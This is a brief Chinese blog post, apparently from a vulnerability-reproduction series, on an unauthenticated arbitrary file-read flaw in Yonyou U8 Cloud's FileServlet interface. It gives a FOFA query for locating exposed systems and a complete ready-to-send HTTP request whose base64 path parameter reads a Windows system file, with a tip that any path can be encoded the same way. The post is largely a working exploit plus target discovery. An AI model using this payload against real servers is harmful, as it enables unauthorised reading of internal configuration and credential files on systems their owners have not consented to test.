Babing
Published on 2024-08-30 / 2 Visits
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Y3-9用友-U8-Cloud-任意文件读取

Y3-9用友-U8-Cloud-任意文件读取

漏洞描述:

用友 U8 Cloud FileServlet 接口处存在任意文件读取漏洞,未经身份验证的远程攻击者通过漏洞可以获取系统内部配置文件,使系统处于极不安全的状态。

网站图片:

image-20240623104213655

网络测绘:

fofa语法:

FOFA:app=“用友-U8-Cloud”

漏洞复现:

payload:

GET /service/~hrpub/nc.bs.hr.tools.trans.FileServlet?path=QzovL3dpbmRvd3Mvd2luLmluaQ== HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

效果图:
PS:文件路径需base64编码


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